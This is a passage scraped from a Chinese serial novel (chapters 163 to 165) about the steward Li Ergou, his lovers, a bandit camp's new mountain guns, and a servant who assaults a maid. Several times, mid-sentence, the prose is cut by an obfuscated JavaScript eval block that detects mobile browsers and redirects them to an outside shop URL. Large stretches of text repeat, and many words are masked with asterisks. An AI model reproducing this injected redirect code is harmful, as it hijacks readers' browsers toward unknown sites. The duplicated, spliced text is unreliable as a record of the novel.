李二狗并不打算把日本浪人认出自己的事情告诉静雯,他不想让她为自己担心。 “静雯,你装晕。”李二狗低声说道。 静雯不明白他的意思,但还是晕倒在地。 “静雯,静雯,你怎么了?”李二狗大声喊道,舞厅的人纷纷围了上来。 李二狗抱起静雯,快步上了二楼。 “你们在楼梯口守着,任何人不许上来打扰,静雯经理需要休息。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第163章 **的学问 李二狗哄完于兰芝,从她屋里出来的时候,正好碰见迎春。 迎春恭敬地说道:“李管家好。” 李二狗正好有话要问迎春,但当着于兰芝的面又觉得有所不妥。 他低声说道:“迎春,今天晚上来我院里,我有事问你。” 迎春羞涩地点了点头,快速走开了。 刚走出于兰芝院子,便看到张玲玉正站在自己院门口,很显然她是故意让李二狗看见自己,或者说她是在故意给李二狗施压,提醒他即使做不到一碗水端平,至少也要做到雨露均沾。 其实,张玲玉根本不懂李二狗,他是个顺毛驴,凡事只要你顺着他,什么都好商量,他最讨厌的就是被人胁迫。 他之所以一直喜欢**和静雯,除了她们肤白貌美大长腿之外,关键是她们与世无争的性格。 夫与人争利,其心必有异。 李二狗只喜欢对自己一心一意而又听话的女人。 他装作没看见,直接扭头走了。 张玲玉气的咬牙切齿,把手中的佛珠狠狠地砸到墙上,“啪”地一声,线断了,珠子散落一地。 “李二狗,你给我等着,我早晚让你跪伏在我大腿前。” 其实张玲玉在胡家大院过的也不容易,苦夏**士高卖给妓院之后,再也没给张玲玉安排使唤丫头。 除了吃饭不用自己做之外,洗衣、打扫卫生、做家务这些活都得张玲玉亲力亲为。 锦衣玉食惯了的她又怎能忍受这种折磨。 她把这一切都归罪于胡士高和于兰芝头上,认为是他们故意打压自己造成的,丝毫没有意识到现在的一切都是她自作自受的结果。 可怜之人必有可恨之处,这句话用在张玲玉身上再合适不过了。 张玲玉已经做过很多错事,她不在乎再多做几次。 **,单车变摩托! 她在等待一个机会! 如果没有机会,她就自己创造一个机会。 胡士高离开之后,胡家大院简直成了李家大院,李二狗想干什么便干什么。 他出了门,直奔清风寨,几天没见**,他实在等不到约定上山的日子。 两人见面,免不了又是一番唇枪舌战…… 完事之后,**躺在李二狗怀里,突然抽泣起来。 李二狗赶忙安慰道:“素文,你怎么了?我刚才弄疼你了?” **破涕为笑,说道:“你可真坏,人家只是有点伤感罢了。” “伤感?刚开心完怎么就伤感了?” “二狗,你知道的,自从我上次小产之后,就再也没怀上过孩子,我想今生可能再也无法为你生儿育女了。” **蜷缩在李二狗怀里,哭得浑身颤抖。 “素文,”李二狗的气息拂过她的耳畔,“有些巢,注定要筑在风里——不是等一个啼哭,而是盛放所有找不到归处的羽翼。” **的泪水再也止不住,大颗大颗滴落在自己的手臂上,滚烫滚烫! 今生她是离不开这个男人了! 清风寨议事厅。 陈老三坐在李二狗右手边,显得意气风发。 这次跟着李二狗去省城,他通过优异的表现再一次巩固了自己在清风寨一人之下百人之上的地位。 “兄弟们,这次我和老三、孬蛋去省城,买回来两门山炮,大家讨论一下如何使用它们才能最大地发挥它们的作用。” 陈老三率先说道:“我建议直接架在寨门口,谁敢攻山,直接轰**。” 宋孬蛋没有说话,这次去省城,陈老三急中生智,在舞厅门口**日本人,为李二狗除掉心头大患,立了大功。 自己当时和陈老三在同一位置,可却什么都没有做,他悔得肠子都青了。 陈嘎子、张石头纷纷表示同意陈老三的建议。 李二狗见宋孬蛋不说话,便问道:“孬蛋,你什么意见?” 宋孬蛋本想附和陈老三的意见,把自己的意见隐藏起来,不抢陈老三的风头,但感觉李二狗特意问自己,肯定是对陈老三的意见不满意。 “狗哥,我觉得这两门山炮不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800317|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该暴露在敌人的视线之内。” 李二狗笑着问道:“那你觉得放在哪里更合适?” “我个人建议把这两门山炮安在后山悬崖上,再建两个隐蔽的暗堡。” 陈老三急赤白脸地说道:“孬蛋,你他娘竟扯淡,把山炮装在后山悬崖,打鸟啊?” 宋孬蛋笑道:“三哥,你先别着急啊,听我把话说完。” “我不同意!”陈老三直接说道。 “老三,你能不能先听孬蛋把话说完,你鸡屁股里掏蛋,真他娘是个急性子。” 陈老三被李二狗一骂,顿时老实了。 “山炮的射程在八到九公里之间,所以说把山炮安放在寨门口还是后山悬崖,根本不影响山炮的使用,但是山炮放在寨门口太危险,很可能会被敌人端掉,最重要的是如果敌人悄悄摸到寨门口再发动攻击,这么短的距离,山炮根本不能发挥它的作用。” 李二狗投给宋孬蛋一个赞许的目光,鼓励他继续说下去。 “把山炮放在后山悬崖,那里是制高点,视野开阔,山下的情形一目了然,可以更好地发挥山炮远程支援的作用。” “还有一点,敌人只要没有攻进山寨,就很难靠近它,这样便能保证山炮的安全。” 宋孬蛋说完后,李二狗问道:“大家什么意见?” 看李二狗的神情,陈嘎子、张石头纷纷表态支持宋孬蛋的意见。 陈老三脸涨的通红,和宋孬蛋比起来,他确实头脑简单。 “老三,你什么意见?” 陈老三嘀咕道:“既然大家都同意,那我也同意。” “那好,安装山炮的事就由孬蛋负责,你必须在一个月之内培养出来几个合格的炮手,有没有信心?” “放心吧,狗哥,在省城买炮的时候我专门向他们请教过怎样**的事,另外我还问他们要了**的教材。” 陈老三的脸更红了。 同样是去买炮,自己什么都没学会,人家宋孬蛋却学会了**,和他比起来,自己还差得远。 第164章 得志便猖狂 晚上,李二狗拖着疲惫的身体回到胡家大院。 他远远地便看到自己四合院门口有个鬼鬼祟祟的人影,以为是迎春,他快步走到跟前,没想到却是孙家旺。 “李管家,您回来了。”孙家旺一脸谄笑。 “是家旺啊,这么晚了有什么事吗?” 孙家旺吞吞吐吐地说道:“也没什么事,就是过来看看您。” 说完有些局促地站在原地,并没有打算离开。 李二狗今天晚上约了迎春,不想被孙家旺看到,便说道:“没什么事就早点回去歇着吧,我这忙了一天也挺累的。” 孙家旺看李二狗并没有邀请自己进屋坐坐的意思,便从衣兜里掏出两卷大洋。 “李管家,这是我孝敬您的一点小意思,请您笑纳。” 一卷大洋是五十块,两卷就是一百块大洋,孙家旺出手倒很大方。 李二狗这次去省城,只是让孙家旺代为照看胡家大院几天,并没有明确他的职务,看来他已经迫不及待地想当胡家大院协管了。 “家旺,你这是什么意思?你想让我犯错误吗?快收回去,被别人看见多不好!” 孙家旺吓得差一点把银元掉到地上,他没想到李二狗反应如此激烈,便急忙解释道:“李管家,您千万别误会,您平时对我照顾有加,我孝敬孝敬您也是应该的。” 李二狗正色道:“家旺,你这些大洋我绝对不能收,你快拿回去。” 李二狗不收钱,孙家旺心里便没有底。 “李管家,这只是我的一点心意,请您务必收下。” 李二狗担心在院门口拉扯被别人看见,便说道:“你跟我进来。” 进到院子里,李二狗没有把孙家旺让到屋里,自己的意思已经非常明显,可孙家旺还是不懂,或者他是在装不懂。 “李管家,我能有今天的成绩完全得益于您的提携,请您一定理解我的一片孝心,务必收下这些大洋。” 李二狗担心迎春进来,被孙家旺遇见解释不清,便说道:“家旺,我提携你完全是出于公心,只要你踏踏实实地干,我绝对不会亏待你,钱你拿回去,不然我就把它交给老爷。” 李二狗之所以不收孙家旺的钱,并不是因为他不喜欢钱,而是不喜欢孙家旺的做派。 事情还没做好就一心想着往上爬,这样的人一旦爬上高位,肯定会被自身的欲望所吞噬。 他今天能送给李二狗一百块大洋,等他爬到自己想要的位置,一定会十倍百倍千倍的捞回来。 孙家旺并没有察觉到李二狗对自己的态度,他以为李二狗在和他客套。 “李管家,我真的只是想感谢您,真的没有别的意思。” 孙家旺把大洋放在院中的石桌上,转身就要走,被李二狗一把拉住。 “家旺,你如果再不把钱拿走,我可真得生气了。” 看李二狗态度如此坚决,只能把桌上的大洋收起来。 “李管家,那您早点歇息,我先回去了。” 孙家旺走出院门,心情落寞。 李二狗不收自己的钱,意味着他并不打算提携自己。 走到一个拐角,他习惯性地转过身,却看到不远处有一个人正向这边走来,看身形是个女人。 孙家旺赶紧躲在墙角,等那个女人走近,原来是迎春。 她走到李二狗院门口,左右看了看,然后直接推门而进。 孙家旺暗骂道:“妈的,原来李二狗约了迎春,怪不得急着把自己赶走。” 为了验证自己的猜测,他悄悄回到李二狗院门口,通过门缝看到迎春进了李二狗的屋子,并关上了门。 这更加让孙家旺确定,李二狗和迎春有**。 孙家旺又回到墙角,他倒要看看迎春多长时间从里面出来。 “李管家。” 迎春垂手而立,她已经好长时间没有和李二狗单独相处,一时显得有些局促。 “迎春,坐,这里只有咱们两个人,你别局促。” 迎春羞涩地笑了笑,便半个屁股坐在一张靠近门口的椅子上。 “你稍等我一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800318|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 李二狗说完便进了卧室,迎春深深地吸了一口气。 她回忆起半年前李二狗刚进胡家大院的情形,那时候他是那么青涩,站在自己面前也像自己如今这般局促。 没想到这才短短半年时间,李二狗已经成了胡家大院大半个主子,而自己在他面前已经不敢与他对视。 “迎春,这是我在省城给你买的口红,感觉这个颜色很适合你的唇色。” 迎春刚才陷入回忆中,都没看到李二狗何时出现在自己面前。 “啊……,”迎春既惊又喜,她没想到李二狗真的给自己买了礼物,她小心翼翼地伸手接过,“谢谢李管家,我很喜欢。” 李二狗笑道:“迎春,和你说过多少次了,只有咱们两个人的时候,你可以叫我二狗。” “李管家,你是胡家大院管家,而我只是个丫鬟,我们……” “既然你知道我是胡家大院管家,那我现在命令你,不许叫我李管家,叫我二狗。” 迎春显得更加局促。 “我知道了,李管家。” 李二狗被她气的哑然失笑,他不想再强求,他们之间地位上的差异已经注定不可能再回到从前的状态。 “迎春,我去省城的这段时间,孙家旺表现如何?” 迎春来这里之前就知道李二狗会问自己这个问题,所以心里提前做了准备。 “我觉得他有点像以前的于管家。” “你说的具体点。” “孙家旺对老爷、对几个奶奶都特别恭敬,可对我们这些丫鬟、家丁却特别苛刻,想骂就骂,有时候还会动手。” 孙家旺的表现很符合小人得志的特征,子系中山狼,得志便猖狂。 “还有别的吗?” 迎春脸上有些为难,她紧咬着嘴唇,仿佛需要下很大的决心,半晌才说道:“李管家,我告诉你,你可千万别告诉别人。” “今天你和我说的话我绝对不会告诉别人,包括大奶奶。” “孙家旺**了老爷的一个使唤丫鬟!” 第165章 大哥给你做主 李二狗听了迎春的话不由得大吃一惊,他没想到孙家旺会如此胆大妄为。 “迎春,说话可得讲证据,道听途说的事不能算数。” 迎春保证道:“李管家,这事我们下边的人都知道,但是大家都觉得孙家旺是你的人,所以不敢在人前议论。” “那他**的是谁?她没有闹吗?怎么一点动静也没有?” “是小凤,她爹娘都闹到胡家大院了,要孙家旺给个说法,孙家旺给了她家三块大洋之后就消停了,哎,她家里太穷了……” 李二狗对男女之事并不是因循守旧之人,但男欢女爱必须建立在你情我愿的基础之上,如果仗势欺人,趁人之危,那就太不是东西了。 “这个孙家旺,没想到他是这样的人,看来以后是不能用了。” 迎春欲言又止了几次,最后还是问道:“李管家,孙家旺他……到底是不是你的人?” 迎春觉得李二狗虽然让自己监视孙家旺的举动,但能让他暂时代管胡家大院,肯定不是一般关系。 “你也觉得他是我的人?” “是啊,在整个胡家大院,大家都知道他是你的人,他逢人就说你很器重他,还说你要提携他当胡家大院的协管。” 李二狗十分讨厌这种狐假虎威,狗仗人势的人。 “这个狗仗人势的东西,看来得找个机会把他赶出胡家大院。” “李管家,如果没有别的事,我就先回去了,大奶奶随时会找我。” “好,你先回去吧,迎春,谢谢你。” 迎春照例是羞涩一笑,她乐意为李二狗做事。 李二狗把迎春送出院子,孙家旺在阴暗处露出淫邪的笑容。 第二天,李二狗特意把孙家旺叫到跟前。 “李管家,昨晚是我唐突了,您千万别往心里去。” 李二狗故意问道:“昨晚?昨晚什么事?我都不记得了。” 孙家旺急忙说道:“就是我给您送钱的事。” 李二狗真想一脚把他踢到南墙上,真是愚蠢他妈给愚蠢开门,愚蠢到家了。 “以前的事就不要再提了,刘家庄有几户佃户一直没交租子,你去催一催,一定要注意方式方法,不要激化矛盾。” 孙家旺很高兴,因为在胡家大院,催租是一项极其重要的工作,一般人根本接触不到。 李二狗能让自己去催租,说明他还是很看重自己。 “李管家请放心,我一定不负所望,既把租子收上来,又不会节外生枝。” 孙家旺走后,李二狗吩咐人把小凤叫到自己屋中。 小凤怯生生站在门口,不敢看李二狗。 “小凤,到屋里来坐。” 小凤走进屋里,站在离门口不远的地方,一直低着头拉扯自己的衣角。 “李……管家,您找我什么事?” 胡士高曾经准备把小凤赏给李二狗,但李二狗没接受,在小凤的心目中,李二狗是瞧不起她这种人的。 “小凤,老爷去省城看病了,你暂时没有什么事情,我准备给你放几天假,回家看看爹娘。” 和李二狗预料的一样,小凤并没有任何欣喜的表情。 小凤在花一样的年纪被父母卖进胡家大院做丫鬟,她内心肯定是怨恨他们的。 这次自己被孙家旺**,爹娘不仅不给自己做主,收了人家三块大洋就对仇人感恩戴德。 她的心早已被那个家庭彻底伤透了! “小凤,怎么了?你不想回家吗?” 小凤没说话,抹起了眼泪,连哭都不敢发出声音。 “小凤,你是不是心里有什么委屈?说出来,我给你做主。” 小凤哭得更凶了。 但她不敢把心里的委屈告诉李二狗,因为孙家旺是他的人,她得罪不起。 “小凤,其实从你第一天进入胡家大院,我就对你印象深刻,觉得你特别像我一个妹妹。” 小凤抬起泪眼婆娑的眼睛,她不明白李二狗说这些话是什么意思。 其实李二狗并非完全忽悠小凤,他很同情小凤的出身和遭遇,最看不得穷人被欺负,他从她身上看到了自己曾经的影子。 “李管家,您……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800319|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小凤,你心里有什么委屈尽管告诉大哥,大哥给你做主。” 小凤泪崩了。 虽然她不明白李二狗为何突然对自己这么好,但如果在自己走投无路的时候突然有一个人愿意伸出援助之手,她肯定会毫无保留。 “李管家……” “叫大哥!” “李大哥,我……,孙管家……不……孙家旺他欺负了我!” “小凤,别着急,你慢慢说,大哥给你做主。” 小凤便原原本本把孙家旺**自己的事情告诉了李二狗。 “李大哥,我真的活不下去了!孙家旺他……他就是一个变态!比胡士高还变态!” “这个畜生,我饶不了他!” “李大哥,我知道孙家旺是你的人,求求你别告诉他是我告诉你的,把憋在心里的话说出来,心里也就好多了。” “小凤,你放心,大哥给你做主,你先回去吧。” 小凤抹着眼泪走了。 李二狗拿起笔写了一个字条,塞到信鸽腿上,放飞出去。 宋孬蛋收到飞鸽传书后,立刻带领几个弟兄下了山。 傍晚时分,孙家旺回到胡家大院。 “李管家,我们被土匪抢了!” “什么?被土匪抢了?” 看着毫发无损甚至身上连一丝尘埃都没有的孙家旺,李二狗的眼神看得他心里直发毛。 “在回来的路上,突然出现一群土匪,把收来的租金全部抢走了。” “孙家旺,你平时不是一向自诩很厉害吗?遇见土匪怎么就怂了?是不是当时就双手把租金奉上了?” “李管家,您听我说,土匪他们有枪,我真是……” “家旺,你真的是被土匪抢了?” 孙家旺被李二狗犀利的眼神吓坏了,他立刻跪在地上。 “李管家,我孙家旺对天发誓,我真是被土匪抢了!” “你紧张什么?我也只是随口一问,毕竟除了你,也没有第二个人知道此事。” “李管家,您一定要相信我啊,我真是是被土匪抢了!” 第163章 **的学问 李二狗哄完于兰芝,从她屋里出来的时候,正好碰见迎春。 迎春恭敬地说道:“李管家好。” 李二狗正好有话要问迎春,但当着于兰芝的面又觉得有所不妥。 他低声说道:“迎春,今天晚上来我院里,我有事问你。” 迎春羞涩地点了点头,快速走开了。 刚走出于兰芝院子,便看到张玲玉正站在自己院门口,很显然她是故意让李二狗看见自己,或者说她是在故意给李二狗施压,提醒他即使做不到一碗水端平,至少也要做到雨露均沾。 其实,张玲玉根本不懂李二狗,他是个顺毛驴,凡事只要你顺着他,什么都好商量,他最讨厌的就是被人胁迫。 他之所以一直喜欢**和静雯,除了她们肤白貌美大长腿之外,关键是她们与世无争的性格。 夫与人争利,其心必有异。 李二狗只喜欢对自己一心一意而又听话的女人。 他装作没看见,直接扭头走了。 张玲玉气的咬牙切齿,把手中的佛珠狠狠地砸到墙上,“啪”地一声,线断了,珠子散落一地。 “李二狗,你给我等着,我早晚让你跪伏在我大腿前。” 其实张玲玉在胡家大院过的也不容易,苦夏**士高卖给妓院之后,再也没给张玲玉安排使唤丫头。 除了吃饭不用自己做之外,洗衣、打扫卫生、做家务这些活都得张玲玉亲力亲为。 锦衣玉食惯了的她又怎能忍受这种折磨。 她把这一切都归罪于胡士高和于兰芝头上,认为是他们故意打压自己造成的,丝毫没有意识到现在的一切都是她自作自受的结果。 可怜之人必有可恨之处,这句话用在张玲玉身上再合适不过了。 张玲玉已经做过很多错事,她不在乎再多做几次。 **,单车变摩托! 她在等待一个机会! 如果没有机会,她就自己创造一个机会。 胡士高离开之后,胡家大院简直成了李家大院,李二狗想干什么便干什么。 他出了门,直奔清风寨,几天没见**,他实在等不到约定上山的日子。 两人见面,免不了又是一番唇枪舌战…… 完事之后,**躺在李二狗怀里,突然抽泣起来。 李二狗赶忙安慰道:“素文,你怎么了?我刚才弄疼你了?” **破涕为笑,说道:“你可真坏,人家只是有点伤感罢了。” “伤感?刚开心完怎么就伤感了?” “二狗,你知道的,自从我上次小产之后,就再也没怀上过孩子,我想今生可能再也无法为你生儿育女了。” **蜷缩在李二狗怀里,哭得浑身颤抖。 “素文,”李二狗的气息拂过她的耳畔,“有些巢,注定要筑在风里——不是等一个啼哭,而是盛放所有找不到归处的羽翼。” **的泪水再也止不住,大颗大颗滴落在自己的手臂上,滚烫滚烫! 今生她是离不开这个男人了! 清风寨议事厅。 陈老三坐在李二狗右手边,显得意气风发。 这次跟着李二狗去省城,他通过优异的表现再一次巩固了自己在清风寨一人之下百人之上的地位。 “兄弟们,这次我和老三、孬蛋去省城,买回来两门山炮,大家讨论一下如何使用它们才能最大地发挥它们的作用。” 陈老三率先说道:“我建议直接架在寨门口,谁敢攻山,直接轰**。” 宋孬蛋没有说话,这次去省城,陈老三急中生智,在舞厅门口**日本人,为李二狗除掉心头大患,立了大功。 自己当时和陈老三在同一位置,可却什么都没有做,他悔得肠子都青了。 陈嘎子、张石头纷纷表示同意陈老三的建议。 李二狗见宋孬蛋不说话,便问道:“孬蛋,你什么意见?” 宋孬蛋本想附和陈老三的意见,把自己的意见隐藏起来,不抢陈老三的风头,但感觉李二狗特意问自己,肯定是对陈老三的意见不满意。 “狗哥,我觉得这两门山炮不应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800317|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该暴露在敌人的视线之内。” 李二狗笑着问道:“那你觉得放在哪里更合适?” “我个人建议把这两门山炮安在后山悬崖上,再建两个隐蔽的暗堡。” 陈老三急赤白脸地说道:“孬蛋,你他娘竟扯淡,把山炮装在后山悬崖,打鸟啊?” 宋孬蛋笑道:“三哥,你先别着急啊,听我把话说完。” “我不同意!”陈老三直接说道。 “老三,你能不能先听孬蛋把话说完,你鸡屁股里掏蛋,真他娘是个急性子。” 陈老三被李二狗一骂,顿时老实了。 “山炮的射程在八到九公里之间,所以说把山炮安放在寨门口还是后山悬崖,根本不影响山炮的使用,但是山炮放在寨门口太危险,很可能会被敌人端掉,最重要的是如果敌人悄悄摸到寨门口再发动攻击,这么短的距离,山炮根本不能发挥它的作用。” 李二狗投给宋孬蛋一个赞许的目光,鼓励他继续说下去。 “把山炮放在后山悬崖,那里是制高点,视野开阔,山下的情形一目了然,可以更好地发挥山炮远程支援的作用。” “还有一点,敌人只要没有攻进山寨,就很难靠近它,这样便能保证山炮的安全。” 宋孬蛋说完后,李二狗问道:“大家什么意见?” 看李二狗的神情,陈嘎子、张石头纷纷表态支持宋孬蛋的意见。 陈老三脸涨的通红,和宋孬蛋比起来,他确实头脑简单。 “老三,你什么意见?” 陈老三嘀咕道:“既然大家都同意,那我也同意。” “那好,安装山炮的事就由孬蛋负责,你必须在一个月之内培养出来几个合格的炮手,有没有信心?” “放心吧,狗哥,在省城买炮的时候我专门向他们请教过怎样**的事,另外我还问他们要了**的教材。” 陈老三的脸更红了。 同样是去买炮,自己什么都没学会,人家宋孬蛋却学会了**,和他比起来,自己还差得远。 第164章 得志便猖狂 晚上,李二狗拖着疲惫的身体回到胡家大院。 他远远地便看到自己四合院门口有个鬼鬼祟祟的人影,以为是迎春,他快步走到跟前,没想到却是孙家旺。 “李管家,您回来了。”孙家旺一脸谄笑。 “是家旺啊,这么晚了有什么事吗?” 孙家旺吞吞吐吐地说道:“也没什么事,就是过来看看您。” 说完有些局促地站在原地,并没有打算离开。 李二狗今天晚上约了迎春,不想被孙家旺看到,便说道:“没什么事就早点回去歇着吧,我这忙了一天也挺累的。” 孙家旺看李二狗并没有邀请自己进屋坐坐的意思,便从衣兜里掏出两卷大洋。 “李管家,这是我孝敬您的一点小意思,请您笑纳。” 一卷大洋是五十块,两卷就是一百块大洋,孙家旺出手倒很大方。 李二狗这次去省城,只是让孙家旺代为照看胡家大院几天,并没有明确他的职务,看来他已经迫不及待地想当胡家大院协管了。 “家旺,你这是什么意思?你想让我犯错误吗?快收回去,被别人看见多不好!” 孙家旺吓得差一点把银元掉到地上,他没想到李二狗反应如此激烈,便急忙解释道:“李管家,您千万别误会,您平时对我照顾有加,我孝敬孝敬您也是应该的。” 李二狗正色道:“家旺,你这些大洋我绝对不能收,你快拿回去。” 李二狗不收钱,孙家旺心里便没有底。 “李管家,这只是我的一点心意,请您务必收下。” 李二狗担心在院门口拉扯被别人看见,便说道:“你跟我进来。” 进到院子里,李二狗没有把孙家旺让到屋里,自己的意思已经非常明显,可孙家旺还是不懂,或者他是在装不懂。 “李管家,我能有今天的成绩完全得益于您的提携,请您一定理解我的一片孝心,务必收下这些大洋。” 李二狗担心迎春进来,被孙家旺遇见解释不清,便说道:“家旺,我提携你完全是出于公心,只要你踏踏实实地干,我绝对不会亏待你,钱你拿回去,不然我就把它交给老爷。” 李二狗之所以不收孙家旺的钱,并不是因为他不喜欢钱,而是不喜欢孙家旺的做派。 事情还没做好就一心想着往上爬,这样的人一旦爬上高位,肯定会被自身的欲望所吞噬。 他今天能送给李二狗一百块大洋,等他爬到自己想要的位置,一定会十倍百倍千倍的捞回来。 孙家旺并没有察觉到李二狗对自己的态度,他以为李二狗在和他客套。 “李管家,我真的只是想感谢您,真的没有别的意思。” 孙家旺把大洋放在院中的石桌上,转身就要走,被李二狗一把拉住。 “家旺,你如果再不把钱拿走,我可真得生气了。” 看李二狗态度如此坚决,只能把桌上的大洋收起来。 “李管家,那您早点歇息,我先回去了。” 孙家旺走出院门,心情落寞。 李二狗不收自己的钱,意味着他并不打算提携自己。 走到一个拐角,他习惯性地转过身,却看到不远处有一个人正向这边走来,看身形是个女人。 孙家旺赶紧躲在墙角,等那个女人走近,原来是迎春。 她走到李二狗院门口,左右看了看,然后直接推门而进。 孙家旺暗骂道:“妈的,原来李二狗约了迎春,怪不得急着把自己赶走。” 为了验证自己的猜测,他悄悄回到李二狗院门口,通过门缝看到迎春进了李二狗的屋子,并关上了门。 这更加让孙家旺确定,李二狗和迎春有**。 孙家旺又回到墙角,他倒要看看迎春多长时间从里面出来。 “李管家。” 迎春垂手而立,她已经好长时间没有和李二狗单独相处,一时显得有些局促。 “迎春,坐,这里只有咱们两个人,你别局促。” 迎春羞涩地笑了笑,便半个屁股坐在一张靠近门口的椅子上。 “你稍等我一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800318|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 李二狗说完便进了卧室,迎春深深地吸了一口气。 她回忆起半年前李二狗刚进胡家大院的情形,那时候他是那么青涩,站在自己面前也像自己如今这般局促。 没想到这才短短半年时间,李二狗已经成了胡家大院大半个主子,而自己在他面前已经不敢与他对视。 “迎春,这是我在省城给你买的口红,感觉这个颜色很适合你的唇色。” 迎春刚才陷入回忆中,都没看到李二狗何时出现在自己面前。 “啊……,”迎春既惊又喜,她没想到李二狗真的给自己买了礼物,她小心翼翼地伸手接过,“谢谢李管家,我很喜欢。” 李二狗笑道:“迎春,和你说过多少次了,只有咱们两个人的时候,你可以叫我二狗。” “李管家,你是胡家大院管家,而我只是个丫鬟,我们……” “既然你知道我是胡家大院管家,那我现在命令你,不许叫我李管家,叫我二狗。” 迎春显得更加局促。 “我知道了,李管家。” 李二狗被她气的哑然失笑,他不想再强求,他们之间地位上的差异已经注定不可能再回到从前的状态。 “迎春,我去省城的这段时间,孙家旺表现如何?” 迎春来这里之前就知道李二狗会问自己这个问题,所以心里提前做了准备。 “我觉得他有点像以前的于管家。” “你说的具体点。” “孙家旺对老爷、对几个奶奶都特别恭敬,可对我们这些丫鬟、家丁却特别苛刻,想骂就骂,有时候还会动手。” 孙家旺的表现很符合小人得志的特征,子系中山狼,得志便猖狂。 “还有别的吗?” 迎春脸上有些为难,她紧咬着嘴唇,仿佛需要下很大的决心,半晌才说道:“李管家,我告诉你,你可千万别告诉别人。” “今天你和我说的话我绝对不会告诉别人,包括大奶奶。” “孙家旺**了老爷的一个使唤丫鬟!” 第165章 大哥给你做主 李二狗听了迎春的话不由得大吃一惊,他没想到孙家旺会如此胆大妄为。 “迎春,说话可得讲证据,道听途说的事不能算数。” 迎春保证道:“李管家,这事我们下边的人都知道,但是大家都觉得孙家旺是你的人,所以不敢在人前议论。” “那他**的是谁?她没有闹吗?怎么一点动静也没有?” “是小凤,她爹娘都闹到胡家大院了,要孙家旺给个说法,孙家旺给了她家三块大洋之后就消停了,哎,她家里太穷了……” 李二狗对男女之事并不是因循守旧之人,但男欢女爱必须建立在你情我愿的基础之上,如果仗势欺人,趁人之危,那就太不是东西了。 “这个孙家旺,没想到他是这样的人,看来以后是不能用了。” 迎春欲言又止了几次,最后还是问道:“李管家,孙家旺他……到底是不是你的人?” 迎春觉得李二狗虽然让自己监视孙家旺的举动,但能让他暂时代管胡家大院,肯定不是一般关系。 “你也觉得他是我的人?” “是啊,在整个胡家大院,大家都知道他是你的人,他逢人就说你很器重他,还说你要提携他当胡家大院的协管。” 李二狗十分讨厌这种狐假虎威,狗仗人势的人。 “这个狗仗人势的东西,看来得找个机会把他赶出胡家大院。” “李管家,如果没有别的事,我就先回去了,大奶奶随时会找我。” “好,你先回去吧,迎春,谢谢你。” 迎春照例是羞涩一笑,她乐意为李二狗做事。 李二狗把迎春送出院子,孙家旺在阴暗处露出淫邪的笑容。 第二天,李二狗特意把孙家旺叫到跟前。 “李管家,昨晚是我唐突了,您千万别往心里去。” 李二狗故意问道:“昨晚?昨晚什么事?我都不记得了。” 孙家旺急忙说道:“就是我给您送钱的事。” 李二狗真想一脚把他踢到南墙上,真是愚蠢他妈给愚蠢开门,愚蠢到家了。 